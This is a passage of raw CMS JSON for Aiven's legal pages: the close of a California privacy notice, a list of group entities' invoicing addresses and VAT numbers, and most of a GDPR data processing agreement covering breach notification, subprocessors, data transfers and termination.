purposes:"}],"markDefs":[],"style":"normal"},{"_key":"def4b9113fa9","_type":"block","children":[{"_key":"3e8d4e5452320","_type":"span","marks":["strong"],"text":"Affiliates"},{"_key":"3e8d4e5452321","_type":"span","marks":[],"text":": to our subsidiaries to the extent necessary to provide our services and to manage and organize customer service, marketing as well as information security measures within the group in an appropriate and practical way and use shared IT systems within the group;"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"ea52d4b2141b","_type":"block","children":[{"_key":"d040b20be46f0","_type":"span","marks":["strong"],"text":"Service Providers"},{"_key":"d040b20be46f1","_type":"span","marks":[],"text":": to our third party service providers, including but not limited to hosting service providers, technology service providers, payment service providers and marketing providers;"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"2c3978705192","_type":"block","children":[{"_key":"62c6f66091700","_type":"span","marks":["strong"],"text":"Legal and Compliance"},{"_key":"62c6f66091701","_type":"span","marks":[],"text":": as required or permitted to comply with legal obligations, requests by competent authorities and courts and related legal proceedings and as required to establish, exercise or defend or to protect against legal claims; and"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"fac5d198179c","_type":"block","children":[{"_key":"55f051b3f3f30","_type":"span","marks":["strong"],"text":"Business Partners"},{"_key":"55f051b3f3f31","_type":"span","marks":[],"text":": to prospective sellers or buyers if we are involved in a merger, acquisition, or sale of all or a portion of our assets."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"d40e9f4e4124","_type":"block","children":[{"_key":"43a853b97dd50","_type":"span","marks":[],"text":"What security measures have we taken?"}],"markDefs":[],"style":"h2"},{"_key":"46fd9a60683f","_type":"block","children":[{"_key":"0188f4773dee0","_type":"span","marks":[],"text":"We have carried out reasonable technical and organizational measures to secure the personal information processed against unauthorized access, against accidental or unlawful destruction, manipulation, disclosure and transfer and against other unlawful processing. For instance, any physical data is stored in locked facilities and access to automatically processed data is limited by user rights and passwords within our organization."}],"markDefs":[],"style":"normal"},{"_key":"0d31e8121a9c","_type":"block","children":[{"_key":"2a2d9305a0600","_type":"span","marks":[],"text":"Please be aware that, although we endeavor to provide reasonable security measures for personal data, no security system can prevent all potential security breaches."}],"markDefs":[],"style":"normal"},{"_key":"ab3530016d66","_type":"block","children":[{"_key":"4eb9a15c09890","_type":"span","marks":[],"text":"How long will we retain personal data?"}],"markDefs":[],"style":"h2"},{"_key":"f50527b8981b","_type":"block","children":[{"_key":"f5bc85bd2aa00","_type":"span","marks":[],"text":"We will only retain personal data for as long as necessary to fulfill the purposes defined in this Privacy Notice. The main retention periods are as follows:"}],"markDefs":[],"style":"normal"},{"_key":"a4f1716a08f5","_type":"block","children":[{"_key":"9876d327c74c0","_type":"span","marks":[],"text":"We retain personal data for the duration of customer relationship and after that as required by legal obligations (e.g. accounting laws) or our contractual rights or obligations (e.g. for invoicing purposes)."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"bc1c1f77295b","_type":"block","children":[{"_key":"9e03306f31f30","_type":"span","marks":[],"text":"If a dispute arises or a customer fails to make payment for our services, we may retain relevant information until such dispute is resolved or until such payment is made."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"81eb1da6165b","_type":"block","children":[{"_key":"d0294e6103560","_type":"span","marks":[],"text":"Where we process personal data for marketing purposes, we will delete or anonymise the data after one (1) year has lapsed from last contact between us to the User or when the User asks us to stop marketing and for a short period after this (to allow us to implement the request)."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"modals":[{"_key":"73915cc76471","_ref":"f1ad5a2d-d9fe-4ade-af59-b5d5a818a37b","_type":"reference"}],"publishedAt":"2023-07-24T13:20:00.000Z","secondaryNavigation":{"_ref":"d3682fc4-0bec-4657-9273-405424bdd8ed","_type":"reference"},"seo":{"_type":"metaData","metaDescription":"This Privacy Notice for California Residents (referred to as \"Privacy Notice\") informs why and how Aiven collects, uses, shares and protects personal information of California residents in compliance with the California Consumer Privacy Act (CCPA) and the California Privacy Rights Act (CPRA). ","metaImage":{"_type":"mainImage","alt":"Privacy policy meta preview","asset":{"_ref":"image-534be390d7d35d7bafb9645fdb65fdd98a0c01d8-476x250-jpg","_type":"reference"}},"metaTitle":"Aiven Privacy Notice for California Residents"},"slug":{"_type":"slug","current":"/privacy/california"},"title":"Privacy Notice for California Residents"} {"__i18n_lang":"en","_createdAt":"2022-09-02T14:21:17Z","_id":"3b5806cc-b4b0-494c-b509-3c3e45527296","_rev":"YgPujUcKQ2JSpcKSYZWo2N","_type":"term","_updatedAt":"2023-11-09T08:34:56Z","content":[{"_key":"d2b6b7d08003","_type":"block","children":[{"_key":"e0c947fda28e0","_type":"span","marks":[],"text":"When an Aiven entity needs to be invoiced, please find below the invoicing addresses for each entity and send the invoice to "},{"_key":"76b650836b65","_type":"span","marks":["1178e3c59b9d"],"text":"accountspayable@aiven.io"},{"_key":"a8a45f2828be","_type":"span","marks":[],"text":" for further instructions."}],"markDefs":[{"_key":"1178e3c59b9d","_type":"link","href":"mailto:accountspayable@aiven.io"}],"style":"normal"},{"_key":"0c7d5ef9131b","_type":"block","children":[{"_key":"4357fe89265c","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"08c37153a473","_type":"block","children":[{"_key":"82698cc7bf96","_type":"span","marks":[],"text":"Australia - Aiven Australia Pty Ltd"}],"markDefs":[],"style":"h2"},{"_key":"6793a552de7f","_type":"block","children":[{"_key":"d20267b2ee40","_type":"span","marks":[],"text":"Bill to address stated on invoice:\nLevel 3\n40 King Street\nSydney NSW 2000\nAustralia"}],"markDefs":[],"style":"normal"},{"_key":"afb984afe2f1","_type":"block","children":[{"_key":"ed62ae76ed8a","_type":"span","marks":[],"text":"Canada - Aiven Canada Ltd"}],"markDefs":[],"style":"h2"},{"_key":"b512afe23e01","_type":"block","children":[{"_key":"008ab040b43b","_type":"span","marks":[],"text":"Bill to address stated on invoice:\n1055 W Georgia St Suite 1750 Royal Centre, Vancouver, BC V6E 3P3, Canada"}],"markDefs":[],"style":"normal"},{"_key":"d356146da237","_type":"block","children":[{"_key":"06b5a147d681","_type":"span","marks":[],"text":"Finland - Aiven Oy"}],"markDefs":[],"style":"h2"},{"_key":"4da7cd5d9959","_type":"block","children":[{"_key":"9b4dab89dcf8","_type":"span","marks":[],"text":"Bill to address stated on invoice: \nAiven Oy, Antinkatu 1, Helsinki 00100, Finland"}],"markDefs":[],"style":"normal"},{"_key":"30b45bd80cb2","_type":"block","children":[{"_key":"acba13076420","_type":"span","marks":[],"text":"VAT number: FI27957435"}],"markDefs":[],"style":"normal"},{"_key":"08360204b8f8","_type":"block","children":[{"_key":"751c7420eba5","_type":"span","marks":[],"text":"France - Aiven France SAS"}],"markDefs":[],"style":"h2"},{"_key":"3b99c4354934","_type":"block","children":[{"_key":"a4dfa048d3f6","_type":"span","marks":[],"text":"Bill to address stated on invoice:\nAiven France SAS, c/o CM. Consulting S.A.R.L, 43 rue de Liege, 75008 Paris, France\n"}],"markDefs":[],"style":"normal"},{"_key":"f8a8a647cb8a","_type":"block","children":[{"_key":"6550cd0ca51c","_type":"span","marks":[],"text":"VAT number: FR62904791605"}],"markDefs":[],"style":"normal"},{"_key":"453e6e44e213","_type":"block","children":[{"_key":"5c96360f8d4b","_type":"span","marks":[],"text":"Germany - Aiven Deutschland GmbH"}],"markDefs":[],"style":"h2"},{"_key":"cba1dbf253d7","_type":"block","children":[{"_key":"60cbac2341e5","_type":"span","marks":[],"text":"Bill to address stated on invoice:\nAiven Deutschland GmbH, Design Offices Humboldhafen Business Center, Alexanderufer 3 -7, 10117 Berlin, Germany"}],"markDefs":[],"style":"normal"},{"_key":"bbc9bab5fd99","_type":"block","children":[{"_key":"3ee206ebe1c3","_type":"span","marks":[],"text":"VAT number: DE328190204"}],"markDefs":[],"style":"normal"},{"_key":"f6a7831d9e3d","_type":"block","children":[{"_key":"65b6260c8059","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"708f34f85495","_type":"block","children":[{"_key":"5ff18b9decab","_type":"span","marks":[],"text":"Italy - Aiven Italy SRL"}],"markDefs":[],"style":"h2"},{"_key":"90ba382d8335","_type":"block","children":[{"_key":"01baf0492417","_type":"span","marks":[],"text":"Bill to address stated on invoice:\nAiven Italy SRL, Via Porlezza 12, 20123 Milan, Italy"}],"markDefs":[],"style":"normal"},{"_key":"b068c739b547","_type":"block","children":[{"_key":"5327cfdc3502","_type":"span","marks":[],"text":"VAT number: IT11507530969"}],"markDefs":[],"style":"normal"},{"_key":"13e7fefbc416","_type":"block","children":[{"_key":"9e288632b7320","_type":"span","marks":[],"text":"SDI code T9K4ZHO"}],"markDefs":[],"style":"normal"},{"_key":"153371df3e9d","_type":"block","children":[{"_key":"6a44b3d1d5f4","_type":"span","marks":[],"text":"Japan - Aiven Japan GK"}],"markDefs":[],"style":"h2"},{"_key":"4a28ff8a90da","_type":"block","children":[{"_key":"d8b60599abdb","_type":"span","marks":[],"text":"Bill to address stated on invoice:\nAiven Japan GK, 1-6, Motoazabu 3-chome, Minato-ku, Tokyo, Japan\n"}],"markDefs":[],"style":"normal"},{"_key":"ebaaecdfbbf8","_type":"block","children":[{"_key":"113ec1d524d9","_type":"span","marks":[],"text":"Jersey - Aiven (Jersey) Limited"}],"markDefs":[],"style":"h2"},{"_key":"2d57084b5633","_type":"block","children":[{"_key":"a5e344bb97dd","_type":"span","marks":[],"text":"Bill to address stated on invoice:\nAiven (Jersey) Limited, 9 Bond Street, St. Helier JE2 3NP, Jersey\n"}],"markDefs":[],"style":"normal"},{"_key":"00ce008d477e","_type":"block","children":[{"_key":"796b2fa39c77","_type":"span","marks":[],"text":"The Netherlands - Aiven Netherlands B.V."}],"markDefs":[],"style":"h2"},{"_key":"f1f85778109c","_type":"block","children":[{"_key":"ca3c8caf1b2d","_type":"span","marks":[],"text":"Bill to address stated on invoice:\nAiven Netherlands B.V. , Spaces Coworking Space, Vijzelstraat 68-78, 1017 HL Amsterdam, The Netherlands\n\nVAT number: NL864316112B01\n"}],"markDefs":[],"style":"normal"},{"_key":"7dae064f1a50","_type":"block","children":[{"_key":"caae25287c22","_type":"span","marks":[],"text":"Singapore - Aiven (Singapore) Pte. Ltd"}],"markDefs":[],"style":"h2"},{"_key":"734fbb9c59a0","_type":"block","children":[{"_key":"89ccd0212d19","_type":"span","marks":[],"text":"Bill to address stated on invoice:\nAiven (Singapore) Pte Ltd, c/o Connexions Corporate Solutions Pte Ltd, 24 Sin Ming Lane, #03-99, Midview City, Singapore (573970)\n"}],"markDefs":[],"style":"normal"},{"_key":"491471a45de9","_type":"block","children":[{"_key":"f03b766a55a2","_type":"span","marks":[],"text":"Spain - Aiven Spain, S.L."}],"markDefs":[],"style":"h2"},{"_key":"ddabfb02a796","_type":"block","children":[{"_key":"0498523cdf48","_type":"span","marks":[],"text":"Bill to address stated on invoice:\nAiven Spain, S.L., Avenida del Doctor Arce 14, 28002 Madrid, Spain"}],"markDefs":[],"style":"normal"},{"_key":"219e196b1fd9","_type":"block","children":[{"_key":"ed9e6aca07e7","_type":"span","marks":[],"text":"VAT number: ESB10753184\n"}],"markDefs":[],"style":"normal"},{"_key":"595ef08d3dc6","_type":"block","children":[{"_key":"36e7bd036320","_type":"span","marks":[],"text":"Sweden - Aiven Sweden Ab"}],"markDefs":[],"style":"h2"},{"_key":"1fe593bf5726","_type":"block","children":[{"_key":"d97238cc177a","_type":"span","marks":[],"text":"Bill to address stated on invoice:\nAiven Sweden AB, Artillerigatan 6, 114 51 Stockholm, Sweden\n\n\nVAT number SE 559365-4451"}],"markDefs":[],"style":"normal"},{"_key":"588385fccac7","_type":"block","children":[{"_key":"a7306a01e91b","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"e6d12d860d69","_type":"block","children":[{"_key":"aa46440d504e","_type":"span","marks":[],"text":"UK - Aiven UK Ltd"}],"markDefs":[],"style":"h2"},{"_key":"a864543f0223","_type":"block","children":[{"_key":"c4a245c6f9b9","_type":"span","marks":[],"text":"Bill to address stated on invoice:\nAiven UK Ltd, c/o Goodwille Limited, 1 Chapel Street, Warwick, United Kingdom, CV34 4HL"}],"markDefs":[],"style":"normal"},{"_key":"d695f8622dc2","_type":"block","children":[{"_key":"917a717fa089","_type":"span","marks":[],"text":"VAT number: GB380731107\n"}],"markDefs":[],"style":"normal"},{"_key":"40be7fab8678","_type":"block","children":[{"_key":"7480404402df","_type":"span","marks":[],"text":"United States - Aiven Inc"}],"markDefs":[],"style":"h2"},{"_key":"cd3ffd79fdf0","_type":"block","children":[{"_key":"3a8e5ebf6f51","_type":"span","marks":[],"text":"Bill to address stated on invoice:\nAiven Inc, 1111B S Governors Ave, #6177, Dover, DE 19904, United States"}],"markDefs":[],"style":"normal"},{"_key":"702471855a6f","_type":"block","children":[{"_key":"4ed9f691e6c9","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"4cbaa12ff6fd","_type":"block","children":[{"_key":"d91ebbb7bdcf","_type":"span","marks":[],"text":"New Zealand - Aiven New Zealand Limited"}],"markDefs":[],"style":"h2"},{"_key":"09a0cd519ac8","_type":"block","children":[{"_key":"bd91d2faeb55","_type":"span","marks":[],"text":"Bill to address stated on invoice:\nAiven New Zealand Limited, WK Advisors and Accountants Limited,\n2 Alfred Street, Mayfield, Blenheim 7201, New Zealand"}],"markDefs":[],"style":"normal"},{"_key":"d63ae271595e","_type":"block","children":[{"_key":"c44bad7e2fd3","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"}],"publishedAt":"2023-10-05T11:30:32.455Z","seo":{"_type":"metaData","metaDescription":"Invoicing addresses for the vendors of Aiven group companies.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-d5aeed21a61ecdc16bc7f53357ecad5fac4feaba-1200x630-jpg","_type":"reference"}},"metaTitle":"Aiven Invoicing Addresses"},"slug":{"_type":"slug","current":"/invoice"},"title":"Aiven Invoicing Addresses"} {"__i18n_lang":"en","_createdAt":"2022-06-03T13:07:34Z","_id":"c6a6bde8-7a3d-42b2-aec7-b89f7feeb2bd","_rev":"5NC6OkIr0nge6PtSR7yF8M","_type":"term","_updatedAt":"2023-11-10T09:17:49Z","content":[{"_key":"bc1a1b748119","_type":"block","children":[{"_key":"e5e5569d08f10","_type":"span","marks":[],"text":"1. Background"}],"markDefs":[],"style":"h2"},{"_key":"fa960beadce6","_type":"block","children":[{"_key":"706b8c9a79bd0","_type":"span","marks":[],"text":"This Data Processing Agreement (‘’DPA’’) is attached to the General Terms (available at "},{"_key":"a5fcee7a0d63","_type":"span","marks":["5946f587bceb"],"text":"Aiven General Online Terms and Conditions"},{"_key":"7dfa3b88a40d","_type":"span","marks":[],"text":" or "},{"_key":"de334db53a92","_type":"span","marks":["d52960a920b6"],"text":"Aiven Marketplace Terms and Conditions"},{"_key":"5af8cd9c655d","_type":"span","marks":[],"text":" if Customer purchases through a marketplace) and forms an inseparable part of the Agreement entered into by Aiven and the Customer. This DPA shall set out the terms and conditions for the processing of Personal Data by Aiven on behalf of the Customer under the Agreement."}],"markDefs":[{"_key":"d52960a920b6","_type":"internalLink","internalLink":{"_ref":"7e005085-e7e8-4f33-9be2-6e693acba1a2","_type":"reference"}},{"_key":"5946f587bceb","_type":"internalLink","internalLink":{"_ref":"174ba708-1e30-481f-ab87-32c8d8fac151","_type":"reference"}}],"style":"normal"},{"_key":"e88cef32ce89","_type":"block","children":[{"_key":"99c4f6cbd06b0","_type":"span","marks":[],"text":"2. Scope and conflict of rules"}],"markDefs":[],"style":"h2"},{"_key":"a394caa0ead3","_type":"block","children":[{"_key":"788bef0c7acf0","_type":"span","marks":[],"text":"To the extent the Customer inputs Personal Data into the Cloud Services and Aiven processes such Personal Data, the Parties acknowledge that the Customer acts as a Data Controller and Aiven is a Data Processor processing Personal Data on behalf of the Customer for the purpose of providing the Cloud Services. "}],"markDefs":[],"style":"normal"},{"_key":"6e74a1098425","_type":"block","children":[{"_key":"dbbf3b33825c","_type":"span","marks":[],"text":"In the event of any discrepancy between this DPA and the Agreement, this DPA prevails."}],"markDefs":[],"style":"normal"},{"_key":"af10d0d32c31","_type":"block","children":[{"_key":"0effff555f2b0","_type":"span","marks":[],"text":"3. Definitions"}],"markDefs":[],"style":"h2"},{"_key":"471feee0b189","_type":"block","children":[{"_key":"c8c88a4de5e50","_type":"span","marks":[],"text":"Unless otherwise defined in this DPA or in the Agreement, terms used in this DPA, such as \"Data Controller\", \"Data Processor\", \"Data Subject\" and \"Personal Data\" have the meanings as defined in the Data Protection Regulation. "}],"markDefs":[],"style":"normal"},{"_key":"cb5eab7b19c7","_type":"table","rows":[{"_key":"b7e84865-15f4-42a8-a199-6ca254fcf4b9","_type":"tableRow","cells":["Term","Definition"]},{"_key":"ca013475-0ffd-47e5-a7e2-a4be9263f5f9","_type":"tableRow","cells":["Data Protection Regulation","means all applicable laws relating to data protection, including without limitation the GDPR and the laws implementing EU Directive 2002/58/EC and any amendments to or replacements for such laws and regulations. "]},{"_key":"bd983cda-8061-41b1-875e-3a441b2618ae","_type":"tableRow","cells":["GDPR","means the General Data Protection Regulation (EU) 2016/679. "]},{"_key":"49cb5fdf-0ecf-4391-9899-ebc04cd39bcb","_type":"tableRow","cells":["Personal Data Breach","means a breach of security leading to accidental or unlawful destruction, loss, alteration, unauthorized disclosure of, or access to, Personal Data transmitted, stored or otherwise processed."]},{"_key":"9ff9b2ac-ab64-4c61-aaf7-ff4b6e7b2e62","_type":"tableRow","cells":["Standard Contractual Clauses","means the contractual clauses issued by the European Commission by the decision 2021/914/EU for international transfers of Personal Data."]},{"_key":"a271b1d8-19b6-4c6b-b4aa-dfc8c1e717b2","_type":"tableRow","cells":["Subprocessor","means Aiven Affiliates and third parties; i) providing the back-end services for Aiven and/or ii) selected by the Customer to provide the hosting services for the data Customer inputs to the Cloud Services (e.g. Google, Microsoft, AWS). The Subprocessors and their services are listed on the Website."]},{"_key":"8a31277b-5fec-4780-91e8-3b6b584fea9b","_type":"tableRow","cells":["Web Site","means Aiven's web site available at aiven.io and the Aiven console available at console.aiven.io through which the Customer may use the Cloud Services."]}]},{"_key":"989fc341d646","_type":"block","children":[{"_key":"5a2c3db3909d0","_type":"span","marks":[],"text":"4. Processing of personal data"}],"markDefs":[],"style":"h2"},{"_key":"634a4d5fd729","_type":"block","children":[{"_key":"786fbc405b8d0","_type":"span","marks":[],"text":"Processing of Personal Data under this DPA is for the purpose of providing the Cloud Services to the Customer. Processing of Personal Data in this context refers to storage, maintenance and other processing activities initiated by the Customer, depending on which Cloud Services the Customer has chosen to order from time to time. The categories of Data Subjects and the types of Personal Data processed are defined in the Appendix 1 (Details of processing). "}],"markDefs":[],"style":"normal"},{"_key":"3f913d9ee8d4","_type":"block","children":[{"_key":"9ac9f8a91298","_type":"span","marks":[],"text":"Personal Data may be processed as long as the Cloud Services are provided under the Agreement and after that if required by applicable law or contractual obligations or rights of either Party."}],"markDefs":[],"style":"normal"},{"_key":"9750147c3ffc","_type":"block","children":[{"_key":"65c6be2845b50","_type":"span","marks":[],"text":"5. Customer's instructions"}],"markDefs":[],"style":"h2"},{"_key":"690d60d3936b","_type":"block","children":[{"_key":"dc3bf2c764040","_type":"span","marks":[],"text":"The Aiven shall process Personal Data in accordance with the Customer's written instructions as established in this DPA. The Parties agree that this DPA is the Customer's complete written instruction to the Aiven in the Customer's role as the Data Controller. Additional instructions require prior written agreement between the Parties."}],"markDefs":[],"style":"normal"},{"_key":"24b0af92a5f2","_type":"block","children":[{"_key":"792059b566fd0","_type":"span","marks":[],"text":"6. Aiven’s general obligations"}],"markDefs":[],"style":"h2"},{"_key":"f92afae9aae1","_type":"block","children":[{"_key":"11a581e12db20","_type":"span","marks":[],"text":"Aiven shall, at the Customer's written request and the Customer's sole cost and expense, assist the Customer by providing such readily available information, or creating such information, as the Customer may reasonably require and which the Customer does not have, in complying with the requests of the Data Subjects or supervisory authority or any other law enforcement or regulatory authority."}],"markDefs":[],"style":"normal"},{"_key":"fa9fc93069ce","_type":"block","children":[{"_key":"41e7046ee0da","_type":"span","marks":[],"text":"Aiven shall inform the Customer, as soon as reasonably practicable, if it receives a request from a Data Subject seeking to exercise his or her rights under the Data Protection Regulation."}],"markDefs":[],"style":"normal"},{"_key":"573e738048b1","_type":"block","children":[{"_key":"ecfd9ef1e5e6","_type":"span","marks":[],"text":"Aiven shall maintain records of processing activities under its responsibility to ensure Aiven's own compliance as a Data Processor with the Data Protection Regulation, and upon the Customer's written request Aiven shall make available to the Customer such records to the extent necessary to demonstrate compliance with Aiven’s obligations set out in this DPA and in the Data Protection Regulation."}],"markDefs":[],"style":"normal"},{"_key":"ab458fa94710","_type":"block","children":[{"_key":"f91b13ca6df60","_type":"span","marks":[],"text":"7. Data security"}],"markDefs":[],"style":"h2"},{"_key":"dff91ca7dd9e","_type":"block","children":[{"_key":"efa643948a080","_type":"span","marks":[],"text":"Aiven shall implement and maintain appropriate technical and organizational measures to ensure an appropriate level of security of the Personal Data and to protect the Personal Data against unauthorized or unlawful processing and against accidental loss, destruction, damage, alteration, or disclosure for the purposes of the Cloud Services. Aiven has committed to comply with the ISO27001 certification to ensure appropriate level of security of the Personal Data."}],"markDefs":[],"style":"normal"},{"_key":"725127501287","_type":"block","children":[{"_key":"0951cb98e368","_type":"span","marks":[],"text":"In the event of a Personal Data Breach, Aiven shall notify the Customer without undue delay after becoming aware of the Personal Data Breach and take reasonable steps to mitigate any damage resulting from such breach. The notification shall contain information Aiven is reasonably able to disclose to the Customer, including following information:"}],"markDefs":[],"style":"normal"},{"_key":"431b9ae92263","_type":"block","children":[{"_key":"68edf12fb3760","_type":"span","marks":[],"text":"a description of the nature of the Personal Data breach, including where possible the categories of Data Subjects and the Personal Data concerned;"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"750fa9954adb","_type":"block","children":[{"_key":"5c762146a6cb0","_type":"span","marks":[],"text":"the name and contact details of contact point where more information can be obtained;"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"781048340c4f","_type":"block","children":[{"_key":"6af84b7eac7d0","_type":"span","marks":[],"text":"a description of likely consequences of the Personal Data Breach; and"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"df990bb1e913","_type":"block","children":[{"_key":"8b52e240287b0","_type":"span","marks":[],"text":"a description of the measures taken or proposed to be taken to address the Personal Data Breach."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"932db091f5be","_type":"block","children":[{"_key":"bce7b9d2a8c20","_type":"span","marks":[],"text":"The information may be provided in phases if it is not possible to provide the information at the same time."}],"markDefs":[],"style":"normal"},{"_key":"3758c47e08b8","_type":"block","children":[{"_key":"4d1e80e1e8b1","_type":"span","marks":[],"text":"Aiven shall cooperate with and assist the Customer, at the Customer's written request and the Customer's sole cost and expense, in relation to the Personal Data Breach notifications made to supervisory authority as required under the Data Protection Regulation. Aiven shall document the Personal Data Breaches and have the documentation available to the Customer upon the Customer's written request."}],"markDefs":[],"style":"normal"},{"_key":"65292bad6af4","_type":"block","children":[{"_key":"34c2bcec722a0","_type":"span","marks":[],"text":"8. Subprocessors"}],"markDefs":[],"style":"h2"},{"_key":"0789f1ca09e3","_type":"block","children":[{"_key":"f5b6eed2010a0","_type":"span","marks":[],"text":"Aiven is entitled to use Subprocessors for the purposes of providing the Cloud Services under the Agreement. Aiven provides information on its Subprocessors at its Web Site. The Customer can choose a Subprocessor to provide the hosting for the Cloud Services from the options provided by Aiven. Aiven shall inform the Customer in writing of any intended changes of the hosting service provider Subprocessor at least fourteen (14) days in advance, giving the Customer sufficient time to be able to object to such change. The Customer hereby consents to Aiven's use of Subprocessors as described in this section."}],"markDefs":[],"style":"normal"},{"_key":"b369ee2dfec3","_type":"block","children":[{"_key":"c9986fa2648f","_type":"span","marks":[],"text":"Aiven shall use its commercially reasonable efforts to ensure that its Subprocessors are subject to similar data protection obligations, in particular in terms of providing sufficient guarantees to implement appropriate technical and organizational measures in such a manner that the processing will meet the requirements of the Data Protection Regulation, as set out in this DPA. Aiven remains responsible for its Subprocessors and their compliance with the obligations of this DPA."}],"markDefs":[],"style":"normal"},{"_key":"12ab0c634ddd","_type":"block","children":[{"_key":"b8d3799c6dfb0","_type":"span","marks":[],"text":"9. Transfers of personal data"}],"markDefs":[],"style":"h2"},{"_key":"97788b0c8880","_type":"block","children":[{"_key":"eb7d9aac7d1d0","_type":"span","marks":[],"text":"The Customer may choose where the Cloud Services will be hosted. If the Customer has selected a Subprocessor to provide the hosting within the European Economic Area (‘’EEA’’), Aiven shall store the Personal Data within the EEA and transfers outside the EEA are subject to the Customer's prior approval, instruction or request thereto. "}],"markDefs":[],"style":"normal"},{"_key":"337e46ada34b","_type":"block","children":[{"_key":"8f5419af43a6","_type":"span","marks":[],"text":"If the Customer selects a Subprocessor to provide the hosting services outside the EEA, the Customer accepts that Aiven; (i) performs the international data transfer of Personal Data in accordance with the Standard Contractual Clauses (processor-to-processor module) entered into by Aiven (as a data exporter) and the Subprocessor (as a data importer) or; (ii) agrees the Subprocessor to carry out the transfer in accordance with the Standard Contractual Clauses (processor-to-processor module) entered into by the Subprocessor group companies (Subprocessor’s EEA entity as a data exporter and third country entity as a data importer), as applicable, depending on the Subprocessor the Customer chooses. "}],"markDefs":[],"style":"normal"},{"_key":"722bbaf63f92","_type":"block","children":[{"_key":"938e7365ed06","_type":"span","marks":[],"text":"The Customer warrants to have used reasonable efforts to determine that the Subprocessor acting as data importer, and chosen by Customer, is able through the implementation of appropriate technical and organizational measures, to satisfy data importer’s obligations under the Standard Contractual Clauses for the transfer to be performed as agreed in this DPA. In the event of discrepancies between the Standard Contractual Clauses and this DPA, the Standard Contractual Clauses prevail. "}],"markDefs":[],"style":"normal"},{"_key":"e45e2c01999c","_type":"block","children":[{"_key":"e075d717af210","_type":"span","marks":[],"text":"All transfers of Personal Data of citizens of the United Kingdom (“UK Transfers”) are transferred under the Standard Contractual Clauses as described under this section. In addition, UK Transfers are governed under the IDTA as implemented to the Standard Contractual Clauses by the chosen Subprocessor. For the purposes of this DPA, the “IDTA” means International data transfer addendum to the European Commission’s standard contractual clauses for international data transfers issued by the UK Information Commissioner’s Office under S119A(1) of the UK Data Protection Act 2018."}],"markDefs":[],"style":"normal"},{"_key":"c92dcdf4fdf8","_type":"block","children":[{"_key":"5be514df67f0","_type":"span","marks":[],"text":"Notwithstanding the foregoing, the Standard Contractual Clauses will not apply if Aiven has adopted alternative safeguards in accordance with Data Protection Regulation for the lawful transfer of Personal Data outside the EEA."}],"markDefs":[],"style":"normal"},{"_key":"e38fa7591ea5","_type":"block","children":[{"_key":"fecd298755720","_type":"span","marks":[],"text":"10. Auditing"}],"markDefs":[],"style":"h2"},{"_key":"e97eb2b4ff86","_type":"block","children":[{"_key":"ac9427ad44150","_type":"span","marks":[],"text":"At the Customer's written request and the Customer's sole cost and expense, the Customer is entitled, once every twelve (12) months, to audit Aiven's compliance with its obligations under the Data Protection Regulation and this DPA."}],"markDefs":[],"style":"normal"},{"_key":"7d34e75de516","_type":"block","children":[{"_key":"366476cee47f","_type":"span","marks":[],"text":"The audit report and related information shall at all times be deemed as Aiven's confidential information."}],"markDefs":[],"style":"normal"},{"_key":"5ee35753c1e0","_type":"block","children":[{"_key":"dfbfd35c82fe0","_type":"span","marks":[],"text":"11. Data confidentiality"}],"markDefs":[],"style":"h2"},{"_key":"014d24cca915","_type":"block","children":[{"_key":"712c6c222fa00","_type":"span","marks":[],"text":"Aiven will not access or use, have visibility or disclose to any third party, any data that the Customer has input into the Cloud Services, except, if specifically requested in writing by the Customer in order to provide customer-specific support services as requested and instructed by the Customer, or as specifically permitted under Section 7.2 of the General Terms."}],"markDefs":[],"style":"normal"},{"_key":"a46c2e18be04","_type":"block","children":[{"_key":"77e3acf33615","_type":"span","marks":[],"text":"If a governmental body sends Aiven a demand for the data input into the Cloud Services, Aiven will do its best efforts to redirect the governmental body to request that data directly from the Customer. If compelled to disclose Customer Data to a governmental body, then Aiven will only disclose the Personal Data strictly to the extent it is legally required to do so and shall give the Customer reasonable notice of the demand to allow the Customer to seek a protective order or other appropriate remedy unless Aiven is legally prohibited from doing so."}],"markDefs":[],"style":"normal"},{"_key":"4341b586f585","_type":"block","children":[{"_key":"aae5947e92590","_type":"span","marks":[],"text":"12. Term and termination"}],"markDefs":[],"style":"h2"},{"_key":"b4d78b239d47","_type":"block","children":[{"_key":"570436a694a70","_type":"span","marks":[],"text":"This DPA shall become effective in parallel with the Agreement and shall continue in force until the termination of the Agreement or as long as Aiven processes Personal Data on behalf of the Customer."}],"markDefs":[],"style":"normal"},{"_key":"794ca5bea874","_type":"block","children":[{"_key":"6376f41bdfe6","_type":"span","marks":[],"text":"If not instructed otherwise in writing by the Customer and unless legally required to keep the Personal Data, Aiven shall delete and destroy the Personal Data processed hereunder the latest within ninety (90) days' of the termination of the Agreement or after the maximum data retention period permitted by the technology of the relevant Cloud Service. In case the Customer demands that the Personal Data are returned to the Customer or to a third party, the Customer will pay Aiven for any additional costs and expenses arising out of such return of the Personal Data."}],"markDefs":[],"style":"normal"},{"_key":"730068adf4d3","_type":"block","children":[{"_key":"570436a694a71","_type":"span","marks":[],"text":"Appendix 1 - Details of processing"}],"markDefs":[],"style":"h3"},{"_key":"d0a4cdc06348","_type":"block","children":[{"_key":"d395465937f6","_type":"span","marks":[],"text":"This Appendix 1 forms part of this DPA describing the details of personal data to be processed by Aiven. "}],"markDefs":[],"style":"normal"},{"_key":"d7cb0065bcd6","_type":"block","children":[{"_key":"6bee5933966f","_type":"span","marks":[],"text":"The Customer has full control of what personal data will be processed by uploading such personal data into the Cloud Services. Aiven has no visibility to such personal data provided and 